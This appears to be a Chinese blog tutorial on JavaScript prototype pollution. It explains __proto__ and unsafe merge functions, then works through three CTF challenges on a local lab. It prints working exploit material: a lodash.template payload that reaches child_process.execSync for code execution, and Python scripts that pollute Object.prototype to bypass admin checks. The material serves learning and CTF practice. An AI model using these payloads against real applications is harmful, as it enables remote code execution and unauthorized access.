原型链污染漏洞

news2024/12/25 12:20:28

想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念

可以看这篇文章:对象的继承和原型链

目录

prototype和__proto__分别是什么?

原型链继承

原型链污染是什么

哪些情况下原型链会被污染?

例题1:Code-Breaking 2018 Thejs 分析

例题2:hackit-2018

 例题3:hackim-2019


prototype和__proto__分别是什么?

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

function Foo() { //构造函数
    this.bar = 1 //构造函数的一个属性
}
new Foo()

构造函数一般函数名的首字母必须大写,Foo函数就是一个构造函数,Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}
​
(new Foo()).show()

这里定义的show就是一个方法

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,问题的愿意就是因为:这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我们希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

function Foo() {
    this.bar = 1
}
​
Foo.prototype.show = function show() {
    console.log(this.bar)
}
​
let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。

我们可以通过Foo.prototype来访问Foo类的原型,这里就又出现了一个问题:Foo实例化出来的对象不能通过prototype访问原型的。

这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ == Foo.prototype

所以,总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father() //Son继承了 Father()

let son = new Son() //son继承lSon的方法和属性
console.log(`Name: ${son.first_name} ${son.last_name}`) //这里找到了Father中的这两个属性

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name

  2. 如果找不到,则在son.__proto__中寻找last_name

  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name

  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)

  2. 对象的__proto__属性,指向类的原型对象prototype

  3. JavaScript使用prototype链实现继承机制

原型链污染是什么

前面说到,foo.__proto__指向的是Foo类的prototype

那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

let foo = { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo = {}
console.log(zoo.bar);
//这里因为zoo没有定义bar,
// 所以就会到Object.prototype去找bar,就会找到2

最后,虽然zoo是一个对象{},但zoo.bar的结果居然是2:​

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。

这种攻击方式就是原型链污染

哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?

其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge(克隆) 

  • 对象clone(其实内核就是将待操作的对象 merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

function merge(target, source) { //接收两个参数
    for (let key in source) { //判断source是否有相应的key
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
            //把第二个参数中的key赋值给了第一个参数中的key
        }
    }
}
var x = {
    // name: 'oupeng',
    age: 18
}
var y = {
    // name: 'abc',
    age: 19,
    num: 100
}
merge(x, y);
console.log(x);
console.log(y);

let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2对象对象里面有两个参数 
merge(o1, o2) //将o2里面的属性,给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:​

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') 
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
​
o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:​

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

总结:merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

例题1:Code-Breaking 2018 Thejs 分析

后端主要代码如下(完整代码可参考这里)

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎

  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。

我们看到lodash.template的代码:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  //这里的Function是构造函数 
  .apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。

这个sourceURL属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。

最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

我将带有__proto__的Payload以json的形式发送给后端,

因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:

具体过程:

代码:这里

(1)我们首先在server.js目录下新建一个re.js文件,将上面的代码粘贴进去

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

注:如果报错,说没有某个模块,那么可以使用

npm install 
npm install 模块名

这两条命令任意一跳来安装需要的模块

(3)然后我们可以尝试在网页访问:你的ip地址:3000

(4)然后我们使用Burpsuite抓包访问该页面

Payload:

{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}

注:这里的 delete Object.prototype[a];是为了在进行了原型链污染后,删除掉该变量,防止其他人访问

例题2:hackit-2018

这里我使用的环境是window

(1)首先将将源

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
​
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
​
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
​
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
​
app.get('/', (req, res) => {
​
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
​
    }
    res.render('index');
})
​
​
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
​
​
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
​
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    //这里可以这样传入值: matrix[__proto__][__admintoken] = oupeng
    //注:传值时一定要用json的格式去传值
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
​
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
​
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
​
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
​
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

分析代码后,我们可以看到,这里的if方法为true时,我们才可以正常的拿到falg,那么想要这if条件成立,需要满足这个条件:user.admintoken的md5值与req.query.querytoken值必须保持一致

    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    

然后我们再看代码后发现全文没有对user.admintoken进行赋值,所以理论上这个值是不存在的,但是下面有一句话赋值语句:

matric[client.row][client.col] =client.data

由于client使我们可控的,然后data,row,col,都是我们post传入的值,都是可控的,所以可以通过在这里传入一个值,让没有值的user.admintoken,去原型链上寻找,就会找到我们给matric传入的值,从而实现原型链污染

具体过程 :

(1)我们首先在Node.js目录下新建一个re.js文件,将上面的代码粘贴进去

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

注:如果报错,说没有某个模块,那么可以使用

npm install 
npm install 模块名

这两条命令任意一跳来安装需要的模块

(3)编写Python代码来实现POST请求

import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#这里是yps的参数md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2=requests.get(url1)
print(res2.text)

 (4)运行Python文件

可以看到成功的通过原型链污染,拿到了flag!

 例题3:hackim-2019

代码:

'use strict';
​
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
​
​
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
​
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
​
function clone(a) {
    return merge({}, a);
}
​
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
​
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
​
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

首先就是先看拿到值的条件:

    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }

这里需要admin.admin == 1才能正常拿到 

通过分析以上代码,我们可以发现,上面的admin对象是一个空对象,没有值。

function clone(a) {
    return merge({}, a);
}

这里我们可以使用merge给{}中提交一个key=__proto__,value=admin:1来进行原型链污染,就可以让admin通过原型链找到admin的值==1,来满足if条件,拿到if后面的值,那边我们就可以通过a,本题中传给的a是body来进行污染

具体过程

(1)首先和前面一样新建一个名为re3.js文件

文件内容就是前面的代码

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

 注:如果在安装包时有一个    "cookie-parser"包一个报错,那么可以在node.js中的package.json中增加这样一行:

    "cookie-parser": "^1.4.6"

(3)编写pythonPOST提交代码

import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

这里的res1会让代码中的body={"__proto__":{admin:1}}

然后代码中的copybody = clone(body),会将body中的内容克隆到 merge函数的空对象中,然后通过merge函数就会污染原型链,后面的res2就可以通过原型链拿到flag

(4)运行python代码

通过结果可以看到,成功的拿到了flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1189554.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件测试|PO设计模式在 UI 自动化中的实践

PO的思想最早是2013年由IT大佬Martin Flower提出的&#xff1a;https://martinfowler.com/bliki/PageObject.html 没错&#xff0c;就是他 — 没错&#xff0c;就是他 — 在他的文章里有这样一张经典样图,图片中展示了测试代码中直接操作HTML元素和使用PO模式将page对象封装成…

Android JVM内存模型——老生常谈

jvm简介 JVM是Java Virtual Machine&#xff08;Java虚拟机&#xff09;的缩写&#xff0c;JVM是一种用于计算设备的规范&#xff0c;它是一个虚构出来的计算机&#xff0c;是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 jvm作用 Java中的所有类&#xff0c;必须…

Web自动化测试入门篇详解

一、目的 web自动化测试作为软件自动化测试领域中绕不过去的一个“香饽饽”&#xff0c;通常都会作为广大测试从业者的首选学习对象&#xff0c;相较于C/S架构的自动化来说&#xff0c;B/S有着其无法忽视的诸多优势&#xff0c;从行业发展趋、研发模式特点、测试工具支持&…

阿里云e实例服务器3M固定带宽40G ESSD entry系统盘99元/年

阿里云99元服务器新老用户均可以买&#xff0c;你没看错&#xff0c;老用户可以买&#xff0c;活动页面 aliyunfuwuqi.com/go/aliyun 配置为云服务器ECS经济型e实例、2核2G、3M固定带宽、40G ESSD Entry云盘&#xff0c;并且续费不涨价&#xff0c;原价99元即可续费&#xff0c…

阿里云99元服务器40G ESSD Entry云盘、2核2G3M带宽配置

阿里云99元服务器新老用户均可以买&#xff0c;你没看错&#xff0c;老用户可以买&#xff0c;活动页面 aliyunfuwuqi.com/go/aliyun 配置为云服务器ECS经济型e实例、2核2G、3M固定带宽、40G ESSD Entry云盘&#xff0c;并且续费不涨价&#xff0c;原价99元即可续费&#xff0c…

学之思项目的搭建部署 打jar包失败的解决方法

学之思系统介绍部署java环境安装maven安装node.js前端打包工具命令npmGit命令获取源代码安装配置mysql前端打包打包jar包服务上线!!!打jar包失败的解决方法 学之思系统介绍 学之思开源考试系统是一款 java vue 的前后端不分离的考试系统。主要优点是开发、部署简单快捷、界面…

咖啡机、电热水壶、豆浆机上架亚马逊美国站UL1082认证标准

咖啡机、电热水壶、豆浆机UL1082报告亚马逊美国站&#xff0c;UL1082标准是指室内用的&#xff0c;咖啡机、电热水壶、豆浆机以及滴落式类加热产品的标准。UL标准是美国的检测标准&#xff0c;目前跨境电商亚马逊美国站需要商家提供产品的UL报告&#xff0c;其中UL1082报告就是…

centos配置docker环境

CentOS系统更换软件安装源 yum默认链接的还是国外的镜像&#xff0c;速度相对不理想&#xff0c;配置成国内的镜像会快很多,这里以阿里镜像为例进行配置&#xff1a; 首先进行更新&#xff1a; yum updatebase源 第一步&#xff1a;备份你的原镜像文件&#xff0c;以免出错后…

常孝元宇宙·《神由都城》首场招商会圆满举办

11月4日,常孝元宇宙《神由都城》首场招商会在常州中华孝道园召开。《神由都城》招商会面向所有合伙人,全面展现常孝股份元宇宙得天独厚的线上线下相结合的模式、广阔的发展空间和优质的运营环境,以一场高规格的招商盛会,吹响常孝股份全面推进元宇宙高质量发展的奋进号角。 招商…

[鹏程杯2023]复现

SecretShare X的20个值和R的21个值已经被全部泄露&#xff0c;X和R都是1024bit的值&#xff0c;此时X总共泄露了32*20 640&#xff0c;于是&#xff0c;此时我们可以使用mt19937将其还原&#xff0c;还原之后&#xff0c;我们往前推20个1024bit的值&#xff0c;便可以求得A的…

华为ipsec vpn模版型(总部固定地址,其它分部无固定地址)

fw_c和fw_b配置一样 上表路由部分就是防火墙都要有默认路由指向公网 那个auto-neg如果不加&#xff0c;分部访问分部可能会不通。 查看 dis ike sa 此架构&#xff0c;总部不能主动访问分部

运行springboot时提示:源值 7 已过时,将在未来版本中删除,并且提示java.time not exist, LocaDateTime类找不到。

运行springboot时提示&#xff1a;源值 7 已过时&#xff0c;将在未来版本中删除&#xff0c;并且提示 java.time not exist, LocaDateTime类找不到。 解决方法&#xff1a; 方式一&#xff1a;通过IDEA修改这几个地方的JDK版本 1&#xff09;打开ProjectStructure->Proj…

Java后端开发——JDBC入门实验

JDBC&#xff08;Java Database Connectivity&#xff09;是Java编程语言中用于与数据库建立连接并进行数据库操作的API&#xff08;应用程序编程接口&#xff09;。JDBC允许开发人员连接到数据库&#xff0c;执行各种操作&#xff08;如插入、更新、删除和查询数据&#xff09…

不妨看看这招: 电销获客渠道——优质的电销数据资源

由于时间的变化&#xff0c;电话营销寻找客户变得越来越困难&#xff0c;这涉及到寻找联系潜在客户的方法。第二个原因是电话禁令相对严厉&#xff0c;电话营销水平参差不齐&#xff0c;人员流动大&#xff0c;导致吸引客户的成本越来越高。那么&#xff0c;电话营销行业的渠道…

警惕!计算机服务器中了malox勒索病毒怎么办?勒索病毒解密数据恢复

警惕&#xff01;警惕&#xff01;企业老板们请注意&#xff0c;假的malox勒索病毒出现了&#xff0c;不要被malox勒索病毒骗了&#xff0c;能减少更多的经济损失。近期&#xff0c;云天数据恢复中心陆续接到很多企业的求助&#xff0c;企业的计算机服务器遭到了malox勒索病毒攻…

解决在表格数据行赋值给表单,会出现表单输入框无法输入的情况

1 直接赋值属性的方法 会出现表单输入框无法输入的情况 handleFixUpdate(row){this.resetForm("formFixUpdate");console.log(this.formFixUpdate)this.formFixUpdate.repairId row.repairIdthis.formFixUpdate.itemId row.itemIdthis.formFixUpdate.repairMan …

RRC configured BWP

TS 38.822有UE BWP 相关能力 IE的详细介绍,如下图。 举例说明,对于UE上报bwp-SameNumerology=upto2时,根据上图中的描述,UE支持能力情况如下:每个carrier最多支持2 个UE specific RRC configured DL/UL BWPs;可以通过DCI和BWP-InactivityTimer主动切换BWP;每个carrier的…

在linux上脱离hadoop安装hbase-2.5.6集群

一、软件版本 1.1、jdk1.8 1.2、hbase 2.5.6 1.3、zookeeper 3.8.1 二、计算节点 准备三台服务器 192.168.42.139 node1 192.168.42.140 node2 192.168.42.141 node3三、配置环境 1、每台服务器都配置jdk环境变量 [rootnode1 data]# javac -version javac 1.8.0_3912、每…

Python tkinter用iconphoto方法修改窗口标题的图片

修改Python Tkinter窗口的标题图片&#xff0c;可以使用PhotoImage、iconphoto方法。这个方法允许你设置窗口的图标。 运行结果 代码示例如下&#xff1a; import tkinter as tkroot Tk()# 加载图片&#xff0c;记住一定是要PNG图片 icon tk.PhotoImage(filephoto\\图片.pn…

第三章 UI开发的点点滴滴

一、常用控件的使用方法 1.TextView android:gravity"center" 可选值&#xff1a;top、bottom、left、right、center等&#xff0c;可以用"|"来同时指定多个值&#xff0c;center表示文字在垂直和水平方向都居中 android:textSize 指定文字的大小&#…